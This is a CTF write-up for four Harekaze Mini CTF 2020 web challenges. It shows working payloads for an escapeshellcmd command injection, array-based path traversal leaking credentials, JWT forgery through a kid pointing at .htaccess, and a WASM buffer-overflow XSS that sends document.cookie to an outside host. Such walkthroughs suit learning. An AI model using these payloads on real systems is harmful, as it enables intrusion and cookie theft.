1st placed at NekoLover(@shpik)
I attended to Harekaze Mini CTF 2020 with JJY
, rbtree
, 03sunf
, and we got a first place :). I wrote writeup on some of the challs I solved.
It was a really fun CTF after a long time ago.
[Web] What time is it now?
Description
It’s about …
Solve
Here is source code:
<?php
if (isset($_GET['source'])) {
highlight_file(__FILE__);
exit;
}
$format = isset($_REQUEST['format']) ? (string)$_REQUEST['format'] : '%H:%M:%S';
$result = shell_exec("date '+" . escapeshellcmd($format) . "' 2>&1");
?>
As you can see, this chall is command injection. Basically, If escapeshellcmd
is a pair of '
or "
, it is not escape.
https://www.php.net/manual/en/function.escapeshellcmd.php
Following characters are preceded by a backslash: &#;` *?~<>^()[]{}$\, \x0A and \xFF. ‘ and “ are escaped only if they are not paired.
Payload: ‘ ‘-f/flag
FLAG: HarekazeCTF{1t’s_7pm_1n_t0ky0}
[Web] avatar-viewer
Description
Do you remember the challenges named Avatar Uploader? As you know, that Web app has critical vulnerabilities. This time I removed upload functions for safety.
Solve
app.get('/myavatar.png', async (request, reply) => {
const username = request.session.get('username');
if (!username) {
request.flash('error', 'please log in to view this page');
return reply.redirect('/login');
}
if (username.includes('.') || username.includes('/') || username.includes('\\')) {
request.flash('error', 'no hacking!');
return reply.redirect('/login');
}
const imagePath = path.normalize(`${__dirname}/images/${username}`);
if (!imagePath.startsWith(__dirname)) {
request.flash('error', 'no hacking!');
return reply.redirect('/login');
}
reply.type('image/png');
if (fs.existsSync(imagePath)) {
return fs.readFileSync(imagePath);
}
return fs.readFileSync('images/default');
});
As you can see, /myavatar.png
endpoint is return images via fs.readFileSync
. When calling ffs.readFileSync
, Argument is setted by username stored session. And, we can’t use .
, /
, and \
because it checks using includes
.
Let’s see the login handler:
app.post('/login', async (request, reply) => {
if (!request.body) {
request.flash('error', 'HTTP request body is empty');
return reply.redirect('/login');
}
if (!('username' in request.body && 'password' in request.body)) {
request.flash('error', 'username or password is not provided');
return reply.redirect('/login');
}
const { username, password } = request.body;
if (username.length > 16) {
request.flash('error', 'username is too long');
return reply.redirect('/login');
}
if (users[username] != password) { // if users don't have username, then it return undefined.
request.flash('error', 'username or password is incorrect');
return reply.redirect('/login');
}
request.session.set('username', username);
reply.redirect('/profile');
});
Login handler doesn’t check username and password type whether string or not. So, we can bypass above includes
logic by inserting array
.
I got a users.json using below query:
Query: {“username”:[”../users.json”],”password”:null}
Users.json
{
"guest": "guest",
"admin-b01b9d62015f8b68": "b56c497ff08f76536631f2cc1100521ffabfece3d2da67c71176d69dcba41a25"
}
Finally i logged in and got a flag.
Query: {“username”:[“admin-b01b9d62015f8b68”],”password”:”b56c497ff08f76536631f2cc1100521ffabfece3d2da67c71176d69dcba41a25”}
FLAG: HarekazeCTF{maji_natural_super_nyan}
[Web] JWT is secure
Description
I learned implementing a custom session function is prone to be insecure, so this time I adopted JWT (JSON Web Token).
Solve
First, i checked how to get flag, and found below code in page/admin.php
:
<?php if ($session->get('role') === 'admin') { ?>
We have confirmed you are an admin. The flag is: <b><?= FLAG ?></b>.
<?php } else { ?>
You have no authority to access this page!
<?php } ?>
If i have session with admin role, can get flag.
Therefore i noticed session manage class and found vulnerability.
public function __construct($cookie_name='jwtsession', $dir='./keys') {
$this->cookie_name = $cookie_name;
$this->base_dir = $dir;
if (array_key_exists($cookie_name, $_COOKIE)) {
try {
$tmp = new JWT($_COOKIE[$cookie_name]);
$kid = $tmp->getHeader('kid'); // 1. set kid value
$this->key = $this->getSecretKey($kid);
if (!$tmp->verify($this->key)) {
throw new Exception('Signature verification failed');
}
$this->jwt = $tmp;
} catch (Exception $e) {
die('Error occurred: ' . $e->getMessage());
}
}
// ... snip ...
}
private function getSecretKey($kid) {
$dir = $this->base_dir . '/' . $kid[0] . '/' . $kid[1];
$path = $dir . '/' . $kid;
// no path traversal, no stream wrapper
if (preg_match('/\.\.|\/\/|:/', $kid)) {
throw new Exception('Hacking attempt detected');
}
if (!file_exists($path) || !is_file($path)) {
throw new Exception('Secret key not found');
}
return file_get_contents($path); // 2. open kid value if passed some check logic.
}
The kid value in JWT is setted as key. And it has some filtering. Due to insufficient filtering, we can bypass it.
See the dist files, we know .htaccess file in keys directory. So i use that files, and get flag with admin role session i made.
import jwt
key = open("keys/.htaccess").read()
print(jwt.encode({"username": "1","role":"admin"},key, algorithm="HS256", headers={"typ":"JWT","kid":"./.htaccess"}))
FLAG: HarekazeCTF{l1st3n_1_just_g1v3_y0u_my_fl4g_4t4sh1_n0_w4v3_w0_t0b4sh1t3_m1ruk4r4}
[Web] WASM BF
Description
Now it is the era of WebAssembly. To learn WebAssembly, I wrote a Brainf*ck interpreter in C and compiled to wasm.
Solve
It’s a WASM chall, but fortunately the source code was given! :happy:
How to work:
- Input Brainfuck(bf) code (Web)
- execute bf code inputed (WASM)
- Filtering: if char has
<
or>
values, then it changes to HTML Entity (WASM)
- Filtering: if char has
- Print in web page (WASM -> Web)
Here is filtering code:
void print_char(char c) {
if (buffer_pointer + 4 >= buffer + BUFFER_SIZE) {
flush();
}
// Prevent XSS!
if (c == '<' || c == '>') {
buffer_pointer[0] = '&';
buffer_pointer[1] = c == '<' ? 'l' : 'g';
buffer_pointer[2] = 't';
buffer_pointer[3] = ';';
buffer_pointer += 4;
} else {
*buffer_pointer = c;
buffer_pointer++;
}
}
I focused on the code below and confirmed that there was no inspection of the boundary.
This allows access to buffer
from memory
, which can cause XSS by bypassing the filtering above.
unsigned char buffer[BUFFER_SIZE] = {0};
unsigned char *buffer_pointer = buffer;
unsigned char memory[MEMORY_SIZE] = {0};
char program[PROGRAM_MAX_SIZE] = {0};
int execute(int length) {
for (int i = 0; i < length; i++) {
program[i] = _get_char();
}
// ...snip...
while (counter < length && executed < 100000) {
char c = program[counter];
switch (c) {
// ...snip...
case '>': {
pointer++;
break;
}
case '<': {
pointer--;
break;
}
// ...snip...
}
// ...snip...
}
// ...snip...
}
Finally, i found index for overwritting buffer
and got flag.
executeButton.addEventListener('click', async () => {
//execute(edit.value);
for(var i=10;i<0x200;i++){
rr= "----[---->+<]>--.--[--->+<]>.++++.------.-[--->+<]>--.---[->++++<]>-.-.++++[->+++<]>+.[--->++<]>-----.-[->++<]>.[---->+<]>++.+++++[->+++<]>.-.---------.+++++++++++++..---.+++.[-->+<]>++++.>--[----->+<]>-.[--->+<]>-.[->+++<]>-.+++++++++++.[--->+<]>++++.----[->+++<]>.+++.------------.--.--[--->+<]>-.-----------.++++++.-.[----->++<]>++.[--->++<]>-.++++[->+++<]>.----.--[--->+<]>---.++++[->+++<]>+.+++++.---[->+++<]>-.[--->++<]>-.++.+[->+++<]>.[--->+<]>---.+.--.[--->+<]>++.+++++++++.--------..-[-->+++<]>+."
t = rr + "<".repeat(i) + ".";
if(t.length > 1000) break;
ee = await execute(t);
if(ee.substr(-1) == "="){
console.log(i, t, ee );
break;
}
}
}, false);
Here is my final payload:
?location.href=`https://[url]/?${document.cookie}`#----[---->+<]>--.--[--->+<]>.++++.------.-[--->+<]>--.---[->++++<]>-.-.++++[->+++<]>+.[--->++<]>-----.-[->++<]>.[---->+<]>++.+++++[->+++<]>.-.---------.+++++++++++++..---.+++.[-->+<]>++++.>--[----->+<]>-.[--->+<]>-.[->+++<]>-.+++++++++++.[--->+<]>++++.----[->+++<]>.+++.------------.--.--[--->+<]>-.-----------.++++++.-.[----->++<]>++.[--->++<]>-.++++[->+++<]>.----.--[--->+<]>---.++++[->+++<]>+.+++++.---[->+++<]>-.[--->++<]>-.++.+[->+++<]>.[--->+<]>---.+.--.[--->+<]>++.+++++++++.--------..-[-->+++<]>+.<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<-
FLAG: HarekazeCTF{I_th1nk_w4sm_1s_e4s1er_t0_re4d_th4n_4smjs}